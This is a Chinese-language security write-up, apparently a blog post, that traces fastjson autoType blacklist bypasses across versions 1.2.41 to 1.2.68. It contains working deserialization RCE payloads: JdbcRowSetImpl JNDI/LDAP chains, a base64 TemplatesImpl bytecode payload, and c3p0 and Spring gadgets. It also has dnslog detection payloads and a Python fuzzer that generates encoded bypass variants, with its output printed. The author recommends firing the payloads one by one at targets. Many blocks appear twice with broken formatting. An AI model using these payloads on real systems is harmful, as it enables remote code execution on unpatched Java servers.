if (autoTypeSupport || expectClass != null) {

clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

}

if (clazz != null) {

// ClassLoader、DataSource子类/子接口检测

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger

|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver

) {

throw new JSONException("autoType is not support. " + typeName);

}

if (expectClass != null) {

if (expectClass.isAssignableFrom(clazz)) {

return clazz;

} else {

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

}

if (!autoTypeSupport) {

throw new JSONException("autoType is not support. " + typeName);

}

return clazz;

}

在上面做了四个位置标记，因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1，2，3成功进入位置4加载目标类。位置4 loadclass如下：

去掉了className前后的L和;，形如Lcom.lang.Thread;这种表示方法和JVM中类的表示方法是类似的，fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的，所以可给@type指定的类前后加上L和;来绕过黑名单检测。

这里用上面的JdbcRowSetImpl利用链：

{
  "rand1": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

{

"rand1": {

"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

测试（jdk8u102，fastjson 1.2.41）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test4 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

public class Test4 {

public static void main(String[] args) {

String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

//JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

//JSON.parseObject(payload, User.class); 成功

}

结果：

ver=1.2.42

在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复，将黑名单改成了十进制，对checkAutotype检测也做了相应变化：

黑名单改成了十进制，检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的，只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复，就是红框处，判断了className前后是不是L和;，如果是，就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写LL和;;，截取之后过程就和1.2.25~1.2.41版本利用方式一样了。

用上面的JdbcRowSetImpl利用链：

{
  "rand1": {
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

{

"rand1": {

"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

测试（jdk8u102，fastjson 1.2.42）:

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test5 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

public class Test5 {

public static void main(String[] args) {

String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

//JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

//JSON.parseObject(payload, User.class); 成功

}

结果：

ver=1.2.43

1.2.43对于1.2.42的绕过修复方式：

在第一个if条件之下（L开头，;结尾），又加了一个以LL开头的条件，如果第一个条件满足并且以LL开头，直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L和;做了特殊处理外，[也被特殊处理了，又再次绕过了checkAutoType：

用上面的JdbcRowSetImpl利用链：

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

1	{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

测试（jdk8u102，fastjson 1.2.43）:

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test6 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//        JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        JSON.parseObject(payload, User.class);
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

public class Test6 {

public static void main(String[] args) {

String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

JSON.parseObject(payload, User.class);

}

结果：

ver=1.2.44

1.2.44版本修复了1.2.43绕过，处理了[：

删除了之前的L开头、;结尾、LL开头的判断，改成了[开头就抛异常，;结尾也抛异常，所以这样写之前的几次绕过都修复了。

`ver>=1.2.45&ver<1.2.46`

这两个版本期间就是增加黑名单，没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出，这里就不写了

ver=1.2.47

这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过：

利用到了java.lang.class，这个类不在黑名单，所以checkAutotype可以过
这个java.lang.class类对应的deserializer为MiscCodec，deserialize时会取json串中的val值并load这个val对应的class，如果fastjson cache为true，就会缓存这个val对应的class到全局map中
如果再次加载val名称的class，并且autotype没开启（因为开启了会先检测黑白名单，所以这个漏洞开启了反而不成功），下一步就是会尝试从全局map中获取这个class，如果获取到了，直接返回

这个漏洞分析已经很多了，具体详情可以参考下这篇

payload：

{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

{

"rand1": {

"@type": "java.lang.Class",

"val": "com.sun.rowset.JdbcRowSetImpl"

"rand2": {

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

测试（jdk8u102，fastjson 1.2.47）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test7 {
    public static void main(String[] args) {
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}";
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        JSON.parseObject(payload, User.class);
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test7 {

public static void main(String[] args) {

String payload = "{\n" +

" \"rand1\": {\n" +

" \"@type\": \"java.lang.Class\", \n" +

" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +

" }, \n" +

" \"rand2\": {\n" +

" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +

" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +

" \"autoCommit\": true\n" +

" }\n" +

"}";

//JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

JSON.parseObject(payload, User.class);

}

结果：

ver>=1.2.48&ver<=1.2.68

在1.2.48修复了1.2.47的绕过，在MiscCodec，处理Class类的地方，设置了cache为false：

在1.2.48到最新版本1.2.68之间，都是增加黑名单类。

ver=1.2.68

1.2.68是目前最新版，在1.2.68引入了safemode，打开safemode时，@type这个specialkey完全无用，无论白名单和黑名单，都不支持autoType了。

在这个版本中，除了增加黑名单，还减掉一个黑名单：

这个减掉的黑名单，不知道有师傅跑出来没，是个包名还是类名，然后能不能用于恶意利用，反正有点奇怪。

探测Fastjson

比较常用的探测Fastjson是用dnslog方式，探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描，不过目标容器/框架不一样，回显方式也会不一样，这有点为难了...，还是用dnslog吧。

dnslog探测

目前fastjson探测比较通用的就是dnslog方式去探测，其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload（结合了上面的rand:{}这种方式，比较通用些）：

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}

{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}

{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}

{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}

{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}


一些畸形payload，不过依然可以触发dnslog：
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}

{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}

{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}

{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}

{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}

{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}

{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}

{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}

一些畸形payload，不过依然可以触发dnslog：

{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}

{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}

{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}

{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0

一些RCE Payload

之前没有收集关于fastjson的payload，没有去跑jar包....，下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload，每个payload适用的jdk版本、fastjson版本就不一一测试写了，这一通测下来都不知道要花多少时间，实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没，所以将构造的Payload一一过去打就行了，基础payload：

payload1:
{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}


payload2:
{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}


payload3:
{
  "rand1": {
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://localhost:1389/Object"
    }
  }
}

payload4:
{
  "rand1": {
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://localhost:1389/Object",
    "propertyPath": "foo",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/Object"
      ]
    }
  }
}

payload5:
{
  "rand1": Set[
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/obj"
      ]
    },
    "adviceBeanName": "ldap://localhost:1389/obj"
  },
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
  }
]}

payload6:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
  }
}

payload7:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://localhost:1389/Object",
    "loginTimeout": 0
  }
}


...还有很多

payload1:

{

"rand1": {

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

payload2:

{

"rand1": {

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": [

"_name": "aaa",

"_tfactory": {},

"_outputProperties": {}

}

payload3:

{

"rand1": {

"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",

"properties": {

"data_source": "ldap://localhost:1389/Object"

}

payload4:

{

"rand1": {

"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",

"targetBeanName": "ldap://localhost:1389/Object",

"propertyPath": "foo",

"beanFactory": {

"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",

"shareableResources": [

"ldap://localhost:1389/Object"

]

}

payload5:

{

"rand1": Set[

{

"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",

"beanFactory": {

"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",

"shareableResources": [

"ldap://localhost:1389/obj"

]

"adviceBeanName": "ldap://localhost:1389/obj"

{

"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"

}

]}

payload6:

{

"rand1": {

"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",

"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"

}

payload7:

{

"rand1": {

"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",

"jndiName": "ldap://localhost:1389/Object",

"loginTimeout": 0

}

...还有很多

下面是个小脚本，可以将基础payload转出各种绕过的变形态，还增加了\u、\x编码形式：

#!usr/bin/env python  
# -*- coding:utf-8 -*-
""" 
@author: longofo
@file: fastjson_fuzz.py 
@time: 2020/05/07 
"""
import json
from json import JSONDecodeError


class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload

    def gen_common(self, payload, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]

        while len(dct_objs) &gt; 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                for key in dct_obj:
                    if key == "@type":
                        dct_obj[key] = func(dct_obj[key])

                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)

    # 对@type的value增加L开头，;结尾的payload
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, lambda v: "L" + v + ";")

    # 对@type的value增加LL开头，;;结尾的payload
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, lambda v: "LL" + v + ";;")

    # 对@type的value进行\u
    def gen_payload3(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 对@type的value进行\x
    def gen_payload4(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 生成cache绕过payload
    def gen_payload5(self, payload: str):
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }
        }
        cache_payload["rand2"] = json.loads(payload)
        return json.dumps(cache_payload)

    def gen(self):
        payloads = []

        payload1 = self.gen_payload1(self.base_payload)
        yield payload1

        payload2 = self.gen_payload2(self.base_payload)
        yield payload2

        payload3 = self.gen_payload3(self.base_payload)
        yield payload3

        payload4 = self.gen_payload4(self.base_payload)
        yield payload4

        payload5 = self.gen_payload5(self.base_payload)
        yield payload5

        payloads.append(payload1)
        payloads.append(payload2)
        payloads.append(payload5)

        for payload in payloads:
            yield self.gen_payload3(payload)
            yield self.gen_payload4(payload)


if __name__ == '__main__':
    fjp = FastJsonPayload('''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}''')

    for payload in fjp.gen():
        print(payload)
        print()

100

101

102

103

#!usr/bin/env python

# -*- coding:utf-8 -*-

"""

@author: longofo

@file: fastjson_fuzz.py

@time: 2020/05/07

"""

import json

from json import JSONDecodeError

class FastJsonPayload:

def __init__(self, base_payload):

try:

json.loads(base_payload)

except JSONDecodeError as ex:

raise ex

self.base_payload = base_payload

def gen_common(self, payload, func):

tmp_payload = json.loads(payload)

dct_objs = [tmp_payload]

while len(dct_objs) > 0:

tmp_objs = []

for dct_obj in dct_objs:

for key in dct_obj:

if key == "@type":

dct_obj[key] = func(dct_obj[key])

if type(dct_obj[key]) == dict:

tmp_objs.append(dct_obj[key])

dct_objs = tmp_objs

return json.dumps(tmp_payload)

# 对@type的value增加L开头，;结尾的payload

def gen_payload1(self, payload: str):

return self.gen_common(payload, lambda v: "L" + v + ";")

# 对@type的value增加LL开头，;;结尾的payload

def gen_payload2(self, payload: str):

return self.gen_common(payload, lambda v: "LL" + v + ";;")

# 对@type的value进行\u

def gen_payload3(self, payload: str):

return self.gen_common(payload,

lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

# 对@type的value进行\x

def gen_payload4(self, payload: str):

return self.gen_common(payload,

lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

# 生成cache绕过payload

def gen_payload5(self, payload: str):

cache_payload = {

"rand1": {

"@type": "java.lang.Class",

"val": "com.sun.rowset.JdbcRowSetImpl"

}

cache_payload["rand2"] = json.loads(payload)

return json.dumps(cache_payload)

def gen(self):

payloads = []

payload1 = self.gen_payload1(self.base_payload)

yield payload1

payload2 = self.gen_payload2(self.base_payload)

yield payload2

payload3 = self.gen_payload3(self.base_payload)

yield payload3

payload4 = self.gen_payload4(self.base_payload)

yield payload4

payload5 = self.gen_payload5(self.base_payload)

yield payload5

payloads.append(payload1)

payloads.append(payload2)

payloads.append(payload5)

for payload in payloads:

yield self.gen_payload3(payload)

yield self.gen_payload4(payload)

if __name__ == '__main__':

fjp = FastJsonPayload('''{

"rand1": {

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

}''')

for payload in fjp.gen():

print(payload)

print()

例如JdbcRowSetImpl结果：

{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

